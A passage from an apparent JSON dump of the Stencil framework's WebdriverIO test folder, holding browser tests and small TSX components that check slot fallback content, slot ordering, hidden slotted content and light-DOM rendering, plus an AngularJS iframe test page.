slot-fb[name=\"end\"][hidden]').textContent.trim()).toBe(\n      'slot end fallback 3',\n    );\n\n    // light dom content updated\n    await expect($('.results1 content-start')).toHaveText('slot light dom 2 : start');\n    await expect($('.results1 section content-default')).toHaveText('slot light dom 2 : default');\n    await expect($('.results1 article span content-end')).toHaveText('slot light dom 2 : end');\n  });\n\n  it('should have correct display style on slot-fb element', () => {\n    const slotFbElements = document.body.querySelectorAll<HTMLElement>('slot-fallback-root slot-fallback slot-fb');\n    slotFbElements.forEach((slotFb) => expect(getComputedStyle(slotFb).display).toBe('contents'));\n  });\n\n  it('should hide slot-fb elements when slotted content exists', async () => {\n    // Show slotted content\n    await $('button.change-light-dom').click();\n    await browser.pause();\n\n    const slotFbElements = document.body.querySelectorAll<HTMLElement>('slot-fallback-root slot-fallback slot-fb');\n    slotFbElements.forEach((slotFb) => expect(getComputedStyle(slotFb).display).toBe('none'));\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-fallback/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-fallback',\n})\nexport class SlotFallback {\n  @Prop() inc = 0;\n\n  render() {\n    return (\n      <div>\n        <hr />\n        <slot name=\"start\">slot start fallback {this.inc}</slot>\n        <section>\n          <slot>slot default fallback {this.inc}</slot>\n        </section>\n        <article>\n          <span>\n            <slot name=\"end\">slot end fallback {this.inc}</slot>\n          </span>\n        </article>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-fallback-with-forwarded-slot/child-component.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-forward-child-fallback',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n    }\n  `,\n})\nexport class ChildComponent {\n  @Prop() label: string;\n\n  render() {\n    return (\n      <Host>\n        <div>\n          <slot name=\"label\">{this.label}</slot>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-fallback-with-forwarded-slot/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-fallback-with-forwarded-slot', () => {\n  it('renders fallback via prop', async () => {\n    // @ts-expect-error - wdio complaining about missing prop\n    const { $root, root } = render({\n      template: () => <slot-forward-root label=\"Slot fallback via property\"></slot-forward-root>,\n    });\n    await $root.$('slot-fb');\n    const fb: HTMLElement = document.querySelector('slot-fb');\n\n    expect(await $root.getText()).toBe('');\n    expect(fb.textContent).toBe('Slot fallback via property');\n    expect(fb.getAttribute('hidden')).toBe(null);\n    expect(fb.hidden).toBe(false);\n\n    const p = document.createElement('p');\n    p.textContent = 'Slot content via slot';\n    p.slot = 'label';\n    root.appendChild(p);\n\n    expect(await $root.getText()).toBe('Slot content via slot');\n    expect(fb.getAttribute('hidden')).toBe('');\n    expect(fb.hidden).toBe(true);\n  });\n\n  it('should hide slot-fb elements when slotted content exists', async () => {\n    // @ts-expect-error - wdio complaining about missing prop\n    const { $root, root } = render({\n      template: () => (\n        <slot-forward-root label=\"Slot fallback via property\">\n          <div slot=\"label\">Slot content via slot</div>\n        </slot-forward-root>\n      ),\n    });\n    await $root.$('slot-fb');\n    const fb: HTMLElement = document.querySelector('slot-fb');\n\n    expect(await $root.getText()).toBe('Slot content via slot');\n    expect(fb.textContent).toBe('Slot fallback via property');\n    expect(fb.getAttribute('hidden')).toBe('');\n    expect(fb.hidden).toBe(true);\n\n    root.removeChild(root.childNodes[0]);\n\n    expect(await $root.getText()).toBe('');\n    expect(fb.getAttribute('hidden')).toBe(null);\n    expect(fb.hidden).toBe(false);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-fallback-with-forwarded-slot/parent-component.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-forward-root',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n    }\n  `,\n})\nexport class MyComponent {\n  @Prop() label: string;\n\n  render() {\n    return (\n      <Host>\n        <slot-forward-child-fallback label={this.label}>\n          <slot name=\"label\" />\n        </slot-forward-child-fallback>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-fallback-with-textnode/cmp-avatar.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-avatar',\n  shadow: false,\n  scoped: true,\n})\nexport class CmpAvatar {\n  render() {\n    return (\n      <div class=\"container\">\n        <slot>DEFAULT</slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-fallback-with-textnode/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-fallback-with-textnode', function () {\n  beforeEach(() => {\n    render({\n      template: () => <my-component></my-component>,\n    });\n  });\n\n  it('should hide fallback content when provided slot is text node', async () => {\n    await expect($('.container')).toHaveText('DEFAULT', { trim: true });\n    await $('#toggle-button').click();\n\n    await expect($('.container')).not.toHaveText('DEFAULT', { trim: true });\n    await expect($('.container')).toHaveText('JD', { trim: true });\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-fallback-with-textnode/cmp.tsx",
    "content": "import { Component, Fragment, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'my-component',\n  shadow: false,\n  scoped: true,\n})\nexport class MyComponent {\n  @State() shortName: null | string;\n\n  render() {\n    return (\n      <Fragment>\n        <cmp-avatar>{this.shortName}</cmp-avatar>\n        <button id=\"toggle-button\" onClick={() => (this.shortName = this.shortName ? null : 'JD')}>\n          Toggle ShortName\n        </button>\n      </Fragment>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-hide-content/cmp-open.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-hide-content-open',\n  scoped: false,\n  shadow: false,\n})\nexport class SlotHideContentOpen {\n  @Prop() enabled = false;\n\n  render() {\n    return (\n      <Host>\n        <p>Test</p>\n        {this.enabled && (\n          <div class=\"slot-wrapper\">\n            <slot>\n              <span>fallback default slot</span>\n            </slot>\n          </div>\n        )}\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-hide-content/cmp-scoped.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-hide-content-scoped',\n  scoped: true,\n})\nexport class SlotHideContentScoped {\n  @Prop() enabled = false;\n\n  render() {\n    return (\n      <Host>\n        <p>Test</p>\n        {this.enabled && (\n          <div class=\"slot-wrapper\">\n            <slot>\n              <span>fallback default slot</span>\n            </slot>\n          </div>\n        )}\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-hide-content/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\n/**\n * Tests for projected content to be hidden in a `scoped` component\n * when it has no destination slot.\n */\ndescribe('slot-hide-content', function () {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <slot-hide-content-scoped className=\"test-cmp\">\n            <p id=\"slotted-1\">Hello</p>\n          </slot-hide-content-scoped>\n\n          <slot-hide-content-open className=\"test-cmp\">\n            <p id=\"slotted-2\">Hello</p>\n          </slot-hide-content-open>\n\n          <button type=\"button\">Enable slot</button>\n        </>\n      ),\n    });\n\n    await $('button').waitForExist();\n\n    document.querySelector('button').addEventListener('click', () => {\n      document.querySelectorAll('.test-cmp').forEach((ref) => ref.setAttribute('enabled', true));\n    });\n  });\n\n  describe('scoped encapsulation', () => {\n    it('should hide content when no slot is provided', async () => {\n      const host = document.body.querySelector('slot-hide-content-scoped');\n      const slottedContent = host.querySelector('#slotted-1');\n\n      expect(slottedContent).toBeDefined();\n      expect(slottedContent.hasAttribute('hidden')).toBe(true);\n      expect(slottedContent.parentElement.tagName).toContain('SLOT-HIDE-CONTENT-SCOPED');\n\n      document.querySelector('button').click();\n      await browser.pause();\n\n      expect(slottedContent.hasAttribute('hidden')).toBe(false);\n      expect(slottedContent.parentElement.classList).toContain('slot-wrapper');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-html/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, $$, expect } from '@wdio/globals';\n\ndescribe('slot-html', () => {\n  const style = `body {\n  color: darkgray;\n}\ndiv article span {\n  background: darkred;\n  color: white;\n}\ndiv {\n  background: darkgreen;\n  color: white;\n}\ndiv section {\n  background: darkblue;\n  color: white;\n}`;\n\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <style>{style}</style>\n\n          <slot-html className=\"results1\"></slot-html>\n\n          <slot-html className=\"results2\">default slot text node</slot-html>\n\n          <slot-html className=\"results3\">\n            <content-default>default slot element 1</content-default>\n            <content-default>default slot element 2</content-default>\n            <content-default>default slot element 3</content-default>\n          </slot-html>\n\n          <slot-html className=\"results4\">\n            <content-default>default slot</content-default>\n            <content-start slot=\"start\">start slot 1</content-start>\n            <content-start slot=\"start\">start slot 2</content-start>\n          </slot-html>\n\n          <slot-html className=\"results5\">\n            <content-start slot=\"start\">start slot 1</content-start>\n            <content-start slot=\"start\">start slot 2</content-start>\n            default text node\n          </slot-html>\n\n          <slot-html className=\"results6\">\n            <content-start slot=\"start\">start slot 1</content-start>\n            <content-default>default slot 1</content-default>\n            <content-start slot=\"start\">start slot 2</content-start>\n            <content-default>default slot 2</content-default>\n          </slot-html>\n\n          <slot-html className=\"results7\">\n            <content-default>default slot 1</content-default>\n            <content-start slot=\"start\">start slot 1</content-start>\n            <content-start slot=\"start\">start slot 2</content-start>\n            <content-default>default slot 2</content-default>\n          </slot-html>\n\n          <slot-html className=\"results8\">\n            <content-end slot=\"end\">end slot 1</content-end>\n            <content-end slot=\"end\">end slot 2</content-end>\n          </slot-html>\n\n          <slot-html className=\"results9\">\n            <content-default>default slot 1</content-default>\n            <content-end slot=\"end\">end slot 1</content-end>\n            <content-end slot=\"end\">end slot 2</content-end>\n            <content-default>default slot 2</content-default>\n          </slot-html>\n\n          <slot-html className=\"results10\">\n            <content-default>default slot 1</content-default>\n            <content-default>default slot 2</content-default>\n            <content-end slot=\"end\">end slot 1</content-end>\n            default slot text node\n            <content-end slot=\"end\">end slot 2</content-end>\n          </slot-html>\n\n          <slot-html className=\"results11\">\n            <content-default>default slot 1</content-default>\n            <content-end slot=\"end\">end slot 1</content-end>\n            <content-start slot=\"start\">start slot 1</content-start>\n            <content-end slot=\"end\">end slot 2</content-end>\n            <content-default>default slot 2</content-default>\n            <content-start slot=\"start\">start slot 2</content-start>\n            default slot text node\n          </slot-html>\n\n          <slot-html className=\"results12\">\n            default slot text node\n            <content-end slot=\"end\">end slot 1</content-end>\n            <content-start slot=\"start\">start slot 1</content-start>\n            <content-end slot=\"end\">end slot 2</content-end>\n            <content-default>default slot 1</content-default>\n            <content-default>default slot 2</content-default>\n            <content-start slot=\"start\">start slot 2</content-start>\n          </slot-html>\n        </>\n      ),\n    });\n  });\n\n  it('renders', async () => {\n    await expect($('.results1')).toHaveText('');\n\n    await $('.results2').waitForExist();\n    const results2 = await $('.results2 div');\n    await expect(results2).toHaveText('default slot text node');\n\n    const results3DefaultSlotChildren = $$('.results3 div content-default');\n    await expect(results3DefaultSlotChildren).toBeElementsArrayOfSize(3);\n\n    await expect(results3DefaultSlotChildren[0]).toHaveText('default slot element 1');\n    await expect(results3DefaultSlotChildren[1]).toHaveText('default slot element 2');\n    await expect(results3DefaultSlotChildren[2]).toHaveText('default slot element 3');\n\n    const results4SlotStartChildren = $$('.results4 div article span content-start');\n    await expect(results4SlotStartChildren[0]).toHaveText('start slot 1');\n    await expect(results4SlotStartChildren[1]).toHaveText('start slot 2');\n\n    await expect($('.results4 div content-default')).toHaveText('default slot');\n\n    const results5SlotStartChildren = $$('.results5 div article span content-start');\n    await expect(results5SlotStartChildren[0]).toHaveText('start slot 1');\n    await expect(results5SlotStartChildren[1]).toHaveText('start slot 2');\n\n    expect(document.querySelector('.results5 div').childNodes[3].textContent.trim()).toBe('default text node');\n\n    const results6SlotStartChildren = $$('.results6 div article span content-start');\n    await expect(results6SlotStartChildren[0]).toHaveText('start slot 1');\n    await expect(results6SlotStartChildren[1]).toHaveText('start slot 2');\n\n    const results6DefaultSlotChildren = $$('.results6 div content-default');\n    await expect(results6DefaultSlotChildren[0]).toHaveText('default slot 1');\n    await expect(results6DefaultSlotChildren[1]).toHaveText('default slot 2');\n\n    const results7SlotStartChildren = $$('.results7 div article span content-start');\n    await expect(results7SlotStartChildren[0]).toHaveText('start slot 1');\n    await expect(results7SlotStartChildren[1]).toHaveText('start slot 2');\n\n    const results7DefaultSlotChildren = $$('.results7 div content-default');\n    await expect(results7DefaultSlotChildren[0]).toHaveText('default slot 1');\n    await expect(results7DefaultSlotChildren[1]).toHaveText('default slot 2');\n\n    const results8SlotEndChildren = $$('.results8 div section content-end');\n    await expect(results8SlotEndChildren[0]).toHaveText('end slot 1');\n    await expect(results8SlotEndChildren[1]).toHaveText('end slot 2');\n\n    const results9SlotEndChildren = $$('.results9 div section content-end');\n    await expect(results9SlotEndChildren[0]).toHaveText('end slot 1');\n    await expect(results9SlotEndChildren[1]).toHaveText('end slot 2');\n\n    const results9DefaultSlotChildren = $$('.results9 div content-default');\n    await expect(results9DefaultSlotChildren[0]).toHaveText('default slot 1');\n    await expect(results9DefaultSlotChildren[1]).toHaveText('default slot 2');\n\n    const results10Children = document.querySelector('.results10 div').childNodes;\n    expect(results10Children[3].textContent.trim()).toBe('default slot 1');\n    expect(results10Children[4].textContent.trim()).toBe('default slot 2');\n    expect(results10Children[5].textContent.trim()).toBe('default slot text node');\n\n    const results11 = document.querySelector('.results11 div');\n    expect(results11.childNodes[1].childNodes[0].childNodes[1].textContent.trim()).toBe('start slot 1');\n    expect(results11.childNodes[1].childNodes[0].childNodes[2].textContent.trim()).toBe('start slot 2');\n    expect(results11.childNodes[3].textContent.trim()).toBe('default slot 1');\n    expect(results11.childNodes[4].textContent.trim()).toBe('default slot 2');\n    expect(results11.childNodes[5].textContent.trim()).toBe('default slot text node');\n    expect(results11.childNodes[6].childNodes[1].textContent.trim()).toBe('end slot 1');\n    expect(results11.childNodes[6].childNodes[2].textContent.trim()).toBe('end slot 2');\n\n    const results12 = document.querySelector('.results12 div');\n    expect(results12.childNodes[1].childNodes[0].childNodes[1].textContent.trim()).toBe('start slot 1');\n    expect(results12.childNodes[1].childNodes[0].childNodes[2].textContent.trim()).toBe('start slot 2');\n    expect(results12.childNodes[3].textContent.trim()).toBe('default slot text node');\n    expect(results12.childNodes[4].textContent.trim()).toBe('default slot 1');\n    expect(results12.childNodes[5].textContent.trim()).toBe('default slot 2');\n    expect(results12.childNodes[6].childNodes[1].textContent.trim()).toBe('end slot 1');\n    expect(results12.childNodes[6].childNodes[2].textContent.trim()).toBe('end slot 2');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-html/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-html',\n})\nexport class SlotHtml {\n  @Prop() inc = 0;\n\n  render() {\n    return (\n      <div>\n        <hr />\n        <article>\n          <span>\n            <slot name=\"start\" />\n          </span>\n        </article>\n        <slot />\n        <section>\n          <slot name=\"end\" />\n        </section>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-light-dom/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-light-dom-root',\n})\nexport class SlotLightDomRoot {\n  @State() a = 'a';\n  @State() b = 'b';\n  @State() c = 'c';\n  @State() d = 'd';\n  @State() e = 'e';\n  @State() f = 'f';\n  @State() g = 'g';\n  @State() h = 'h';\n  @State() i = 'i';\n  @State() j = 'j';\n  @State() k = 'k';\n  @State() l = 'l';\n  @State() m = 'm';\n\n  testClick() {\n    this.a = 'A';\n    this.b = 'B';\n    this.c = 'C';\n    this.d = 'D';\n    this.e = 'E';\n    this.f = 'F';\n    this.g = 'G';\n    this.h = 'H';\n    this.i = 'I';\n    this.j = 'J';\n    this.k = 'K';\n    this.l = 'L';\n    this.m = 'M';\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)}>Test</button>\n\n        <slot-light-dom-content class=\"results1\">{this.a}</slot-light-dom-content>\n\n        <slot-light-dom-content class=\"results2\">{this.b}</slot-light-dom-content>\n\n        <slot-light-dom-content class=\"results3\">\n          <nav>{this.c}</nav>\n        </slot-light-dom-content>\n\n        <slot-light-dom-content class=\"results4\">\n          <nav>{this.d}</nav>\n          {this.e}\n        </slot-light-dom-content>\n\n        <slot-light-dom-content class=\"results5\">\n          {this.f}\n          <nav>{this.g}</nav>\n        </slot-light-dom-content>\n\n        <slot-light-dom-content class=\"results6\">\n          {this.h}\n          <nav>{this.i}</nav>\n          {this.j}\n        </slot-light-dom-content>\n\n        <slot-light-dom-content class=\"results7\">\n          <nav>{this.k}</nav>\n          <nav>{this.l}</nav>\n          <nav>{this.m}</nav>\n        </slot-light-dom-content>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-light-dom/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-light-dom', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <slot-light-dom-root></slot-light-dom-root>,\n    });\n  });\n  it('renders light dom in correct slots', async () => {\n    await $('.results1 article').waitForExist();\n    let results = document.querySelector('.results1 article');\n    expect(results.textContent).toBe('a');\n\n    results = document.querySelector('.results2 article');\n    expect(results.textContent).toBe('b');\n\n    results = document.querySelector('.results3 article nav');\n    expect(results.textContent).toBe('c');\n\n    results = document.querySelector('.results4 article nav');\n    expect(results.textContent).toBe('d');\n\n    results = document.querySelector('.results4 article');\n    expect(results.textContent).toBe('de');\n\n    results = document.querySelector('.results5 article');\n    expect(results.textContent).toBe('fg');\n\n    results = document.querySelector('.results5 article nav');\n    expect(results.textContent).toBe('g');\n\n    results = document.querySelector('.results6 article');\n    expect(results.textContent).toBe('hij');\n\n    results = document.querySelector('.results6 article nav');\n    expect(results.textContent).toBe('i');\n\n    results = document.querySelector('.results7 article');\n    expect(results.textContent).toBe('klm');\n\n    let navs = document.querySelectorAll('.results7 article nav');\n    expect(navs[0].textContent).toBe('k');\n    expect(navs[1].textContent).toBe('l');\n    expect(navs[2].textContent).toBe('m');\n\n    const button = $('button');\n    await button.click();\n    await $('.results1 article').waitForExist();\n\n    results = document.querySelector('.results1 article');\n    expect(results.textContent).toBe('A');\n\n    results = document.querySelector('.results2 article');\n    expect(results.textContent).toBe('B');\n\n    results = document.querySelector('.results3 article nav');\n    expect(results.textContent).toBe('C');\n\n    results = document.querySelector('.results4 article nav');\n    expect(results.textContent).toBe('D');\n\n    results = document.querySelector('.results4 article');\n    expect(results.textContent).toBe('DE');\n\n    results = document.querySelector('.results5 article');\n    expect(results.textContent).toBe('FG');\n\n    results = document.querySelector('.results5 article nav');\n    expect(results.textContent).toBe('G');\n\n    results = document.querySelector('.results6 article');\n    expect(results.textContent).toBe('HIJ');\n\n    results = document.querySelector('.results6 article nav');\n    expect(results.textContent).toBe('I');\n\n    results = document.querySelector('.results7 article');\n    expect(results.textContent).toBe('KLM');\n\n    navs = document.querySelectorAll('.results7 article nav');\n    expect(navs[0].textContent).toBe('K');\n    expect(navs[1].textContent).toBe('L');\n    expect(navs[2].textContent).toBe('M');\n\n    const hiddenCmp = document.querySelector('[hidden]');\n    expect(hiddenCmp).toBe(null);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-light-dom/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-light-dom-content',\n})\nexport class SlotLightDomContent {\n  render() {\n    return (\n      <header>\n        <section>\n          <article>\n            <slot />\n          </article>\n        </section>\n      </header>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-map-order/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-map-order-root',\n})\nexport class SlotMapOrderRoot {\n  render() {\n    const items = ['a', 'b', 'c'];\n\n    return (\n      <slot-map-order>\n        {items.map((item) => (\n          <div>\n            <input type=\"text\" value={item} />\n          </div>\n        ))}\n      </slot-map-order>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-map-order/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-map-order', function () {\n  beforeEach(async () => {\n    render({\n      template: () => <slot-map-order-root></slot-map-order-root>,\n    });\n  });\n\n  it('render', async () => {\n    await $('slot-map-order').waitForExist();\n    const result = document.querySelector('slot-map-order');\n\n    expect((result.children[0].children[0] as HTMLInputElement).value).toBe('a');\n    expect((result.children[1].children[0] as HTMLInputElement).value).toBe('b');\n    expect((result.children[2].children[0] as HTMLInputElement).value).toBe('c');\n\n    const hiddenCmp = document.querySelector('[hidden]');\n    expect(hiddenCmp).toBe(null);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-map-order/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-map-order',\n})\nexport class SlotMapOrder {\n  render() {\n    return <slot></slot>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-default-order/cmp-child.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-default-order-child',\n})\nexport class SlotNestedDefaultOrderChild {\n  @Prop() state: boolean;\n\n  render() {\n    return (\n      <Host>\n        <div>State: {this.state.toString()}</div>\n        <slot />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-default-order/cmp-parent.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-default-order-parent',\n})\nexport class SlotNestedDefaultOrderParent {\n  render() {\n    return (\n      <Host>\n        <div>\n          <slot-nested-default-order-child state={true}>\n            <slot />\n          </slot-nested-default-order-child>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-default-order/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-nested-default-order', function () {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <slot-nested-default-order-parent>\n          <p>Hello</p>\n        </slot-nested-default-order-parent>\n      ),\n    });\n  });\n\n  it('should render the slot content after the div', async () => {\n    const childCmps = $$('slot-nested-default-order-parent slot-nested-default-order-child > *');\n\n    await expect(childCmps).toBeElementsArrayOfSize(2);\n    expect(await childCmps[0].getTagName()).toBe('div');\n    await expect(childCmps[0]).toHaveText('State: true');\n\n    expect(await childCmps[1].getTagName()).toBe('p');\n    await expect(childCmps[1]).toHaveText('Hello');\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-nested-dynamic/cmp-child.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-dynamic-child',\n  shadow: false,\n  scoped: true,\n})\nexport class SlotNestedDynamicChild {\n  render() {\n    return (\n      <Host>\n        <slot-nested-dynamic-wrapper id=\"banner\">Banner notification</slot-nested-dynamic-wrapper>\n        <slot name=\"header\" />\n        <slot-nested-dynamic-wrapper id=\"level-1\">\n          <slot-nested-dynamic-wrapper id=\"level-2\">\n            <slot />\n          </slot-nested-dynamic-wrapper>\n        </slot-nested-dynamic-wrapper>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-dynamic/cmp-parent.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-dynamic-parent',\n  shadow: false,\n  scoped: true,\n})\nexport class SlotNestedDynamicParent {\n  render() {\n    return (\n      <Host>\n        <slot-nested-dynamic-child>\n          <span slot=\"header\">Header Text</span>\n          <slot />\n        </slot-nested-dynamic-child>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-dynamic/cmp-wrapper.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-dynamic-wrapper',\n  shadow: false,\n  scoped: true,\n})\nexport class SlotNestedDynamicWrapper {\n  render() {\n    return (\n      <Host>\n        <slot />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-dynamic/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nconst ITEM_CLASSNAME = 'default-slot-item';\n\ndescribe('slot-nested-dynamic', function () {\n  const getRandomizeButton = () => $('#randomizeButton');\n  const getItems = () => $$(`.${ITEM_CLASSNAME}`);\n\n  beforeEach(() => {\n    render({\n      flushQueue: true,\n      template: () => {\n        function randomize() {\n          const parent = document.querySelector('slot-nested-dynamic-parent');\n\n          for (const item of Array.from(parent?.querySelectorAll('.default-slot-item') || [])) {\n            item.remove();\n          }\n\n          const min = 3;\n          const max = 20;\n          const count = Math.floor(Math.random() * (max - min + 1)) + min;\n          const items = Array.from(new Array(count)).map((_, i) => {\n            const element = document.createElement('span');\n            element.className = 'default-slot-item';\n            element.textContent = 'item-' + i;\n            return element;\n          });\n\n          for (const item of items) {\n            parent?.appendChild(item);\n          }\n        }\n        return (\n          <>\n            <slot-nested-dynamic-parent></slot-nested-dynamic-parent>\n\n            <button id=\"randomizeButton\" onClick={() => randomize()}>\n              Randomize Item Count\n            </button>\n          </>\n        );\n      },\n    });\n  });\n\n  it('correct order after dynamic list generation', async () => {\n    const button = getRandomizeButton();\n\n    /* RUN DYNAMIC GENERATION */\n    await button.click();\n    const items = getItems();\n    await expect(await items[0].getText()).toBe('item-0');\n    await expect(await items[1].getText()).toBe('item-1');\n    await expect(await items[2].getText()).toBe('item-2');\n\n    /* RE-RUN DYNAMIC GENERATION */\n    await button.click();\n    const itemsRoundTwo = getItems();\n    await expect(await itemsRoundTwo[0].getText()).toBe('item-0');\n    await expect(await itemsRoundTwo[1].getText()).toBe('item-1');\n    await expect(await itemsRoundTwo[2].getText()).toBe('item-2');\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-nested-order/cmp-child.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-order-child',\n  shadow: false,\n})\nexport class SlotNestedOrderChild {\n  render() {\n    return (\n      <Host>\n        <cmp-3>3</cmp-3>\n        <i>\n          <slot />\n        </i>\n        <cmp-5>5</cmp-5>\n        <slot name=\"end-slot-name\" />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-order/cmp-parent.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-nested-order-parent',\n  shadow: false,\n})\nexport class SlotNestedOrderParent {\n  render() {\n    return (\n      <div>\n        <slot />\n        <slot-nested-order-child>\n          <slot name=\"italic-slot-name\" />\n          <cmp-6 slot=\"end-slot-name\">6</cmp-6>\n        </slot-nested-order-child>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-nested-order/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { browser, expect } from '@wdio/globals';\n\ndescribe('slot-nested-order', function () {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <slot-nested-order-parent>\n          <cmp-1>1</cmp-1>\n          <cmp-4 slot=\"italic-slot-name\">4</cmp-4>\n          <cmp-2>2</cmp-2>\n        </slot-nested-order-parent>\n      ),\n    });\n  });\n\n  it('correct nested order', async () => {\n    await browser.pause(100);\n    expect(document.querySelector('stencil-stage').textContent).toBe('123456');\n    const hiddenCmp = document.querySelector('[hidden]');\n    expect(hiddenCmp).toBe(null);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-ng-if/cmp.test.tsx",
    "content": "import './assets/angular.min.js';\n\nimport { setupIFrameTest } from '../util.js';\n\ndescribe('slot-ng-if', () => {\n  let iframe: HTMLElement;\n  before(async () => {\n    iframe = await setupIFrameTest('/slot-ng-if/index.html');\n  });\n\n  it('renders bound values in slots within ng-if context', async () => {\n    const root = iframe.querySelector('slot-ng-if');\n    expect(root.textContent).toBe('Angular Bound Label');\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-ng-if/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-ng-if',\n  shadow: false,\n})\nexport class AngularSlotBinding {\n  render() {\n    return (\n      <Host>\n        <slot />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-ng-if/index.html",
    "content": "<!DOCTYPE html>\n<meta charset=\"utf8\">\n<script src=\"/slot-ng-if/assets/angular.min.js\"></script>\n<script src=\"/dist/testapp/testapp.esm.js\" type=\"module\"></script>\n<section id=\"demo\">bla\n    <section ng-controller=\"homeCtrl as vm\">\n        <div ng-if=\"vm.show\">\n            <slot-ng-if><span>{{vm.label}}</span></slot-ng-if>\n        </div>\n    </section>\n</section>\n<script>\n    angular.module('demo', []).controller('homeCtrl', homeCtrl);\n    function homeCtrl() {\n        var vm = this;\n        vm.label = 'Angular Bound Label';\n        vm.show = true;\n    }\n    angular.bootstrap(document.querySelector('#demo'), ['demo']);\n</script>\n"
  },
  {
    "path": "test/wdio/slot-no-default/cmp.test.tsx",
